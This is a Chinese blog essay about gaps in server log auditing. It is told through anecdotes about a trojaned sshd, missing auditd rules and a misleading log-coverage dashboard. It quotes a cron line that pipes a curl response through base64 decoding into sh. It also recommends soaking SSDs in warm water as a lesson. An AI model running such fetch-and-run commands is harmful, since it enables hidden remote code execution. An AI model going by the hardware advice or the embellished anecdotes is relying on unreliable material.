服务器安全审计：90%风险藏于日志盲区
|
去年十二月，我蹲在IDC机房三号柜后面那台ESXi宿主机旁——就是贴着冷凝水管、右脚踩着半块翘起来的防静电地板那台。地板底下漏风，吹得我袜子都湿了。隔壁老张正用扳手拧KVM延长线接头，拧第三下时手机响了，他单手接起说“在修网关”，其实那台网关压根没挂，是运维在刷抖音缓存。 服务器安全审计？别提了。上季度末我给某电商做渗透后复盘，甲方CTO拍桌说“你们日志平台不是全覆盖么”，我说“全覆盖？覆盖的是nginx access log里状态码和IP，覆盖不了sshd进程被替换成带反向shell的静态二进制——那个进程名还叫sshd，ps aux看完全正常，top里CPU占0.3%，它只在凌晨三点十七分连一次外网域名，连完立刻sleep三百七十二秒”。CTO愣了两秒，伸手去摸保温杯，结果碰翻了桌上那盒还没拆封的蓝莓味旺仔小馒头，糖粒滚到SSD阵列指示灯缝隙里，一闪一闪的。 我原以为他们至少开了auditd规则监控execve调用。结果呢？查配置发现那台跑着订单服务的CentOS 7机器，/etc/audit/rules.d/下空空如也，连-a always,exit -F arch=b64 -S execve这行最基础的都没加。但奇怪的是，logrotate居然还在跑——每天零点准时把/var/log/secure切走，压缩成gz包，再scp推到另一台“日志归集服务器”上。那台归集服务器，硬盘上挂着四十三个tar.gz，全部是空的。gzip -t一验，校验通过。tar -tf解出来，是空目录结构。没人知道什么时候开始的，也没人敢动，怕影响“审计合规报表”。 对，报表。他们那个“日志覆盖率98.7%”的看板，是用Filebeat采集器上报的filebeat.registry文件倒推出来的。registry里每行记录一个inode+offset，他们把有record的inode数除以总inode数——完事儿。但根本不管那些inode指向的是不是真实日志文件：比如/tmp/.log_bak（其实是某PHP脚本临时写的base64混淆字符串），比如/run/log/journal//system.journal~（journalctl --flush都没触发过），比如/root/.bash_history（权限600，Filebeat早跪了）。这个我敢打包票：我当着他们SRE主管面删掉三个.log文件，看板数字没变。他掏手机刷新三次，说“可能缓存”。我没吭声，就盯着他左手无名指指甲盖边缘那道新划痕——像是昨天拆服务器导轨时蹭的。 优胜劣汰，真不是虚的。我们盯了三个月，发现真正出问题的服务器，反而日志量特别“健康”：access.log行数稳定，auth.log报错均匀，journalctl -u sshd输出格式工整。反倒是那些三天没一条有效日志、syslog里全是“kernel: audit: backlog limit exceeded”的老古董，最后查出来是定时任务里藏着一行curl -s http://127.0.0.1:8080/admin/api?cmd=ls|base64 -d|sh——请求来源显示是127.0.0.1，响应状态码200，日志路径却写在/dev/null里。这种，压根不会进任何SIEM系统，因为根本没落盘。你猜怎么发现的？运维老刘半夜巡检，闻到机柜里有股焦糊味——不是硬件，是那台服务器散热风扇积灰太厚，高速转起来烧了胶垫。他关机清灰，顺手df -h，看到根分区只剩12M，进去一看，/var/log下堆着一百二十六个以.开头的、chmod 000的log.tar.xz，每个解压后是八百多MB的随机ASCII字符流。没人动过它们。连杀毒软件扫描都跳过这些文件，因为名字带点。
文章配图，仅供参考 上周我跟前端组的老杨喝酒，他聊起双十一前夜，他们线上页面突然多出两万个未定义的埋点事件，打到数据中台直接阻塞了实时流。排查三天，发现是某个polyfill脚本里的console.warn被Webpack抽成了一段内联eval，在iOS 14.5上会触发Safari的调试代理异常，把整个window对象序列化进日志——包括cookie、localStorage、甚至内存里那段刚解密的RSA私钥片段。这事儿跟服务器日志盲区有毛关系？没啥关系。我就想说，老杨那天晚上叼着烟在楼顶抽烟，烟灰掉进羽绒服领口里，他一边哈气一边抖衣服，说了句：“我们测兼容性只测行为，不测副作用。”——这话我现在借来用：我们审服务器日志，只审格式和量，不审气味和温度。说回盲区。真不是技术做不到。是人在日志链条上卡了太多“责任缝”：研发说“日志格式按规范来就行”，SRE说“采集通道我配好了”，安全部说“告警策略基于现有字段定”，DBA说“binlog不归我管”，就连监控团队都甩锅“我们只画图，不校验原始数据真实性”。最后全挤在“审计”这个词上喘气。其实哪有什么审计，全是日志的尸检报告——解剖的是尸体，不是活体。而攻击者专挑心跳尚存、体温未降、但监护仪上ECG波形被滤波算法平滑掉微颤的那一分钟动手。 所以今年我改了课程大纲。不教怎么配filebeat或ELK pipeline了。第一课就带着学员去机房，拎两台退役的Dell R730，拆开盖子，把SSD卸下来泡在温水里十五分钟，再插回去开机。让他们亲眼看看journalctl --disk-usage报多少GB，再cat /proc/sys/fs/inotify/max_user_watches看值是多少，然后手动echo 524288 > /proc/sys/fs/inotify/max_user_watches。干完这个，再打开Wireshark抓自己本机ssh连接——注意看，当对方输入sudo su -时，SSH协议层有没有发送env变量，有没有传输终端尺寸信息，那些东西，从来不上应用层日志。这些东西，比access.log里多十条404有用多了。至于怎么落地？我不知道。先泡硬盘吧。 （编辑：站长网） 【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容! |
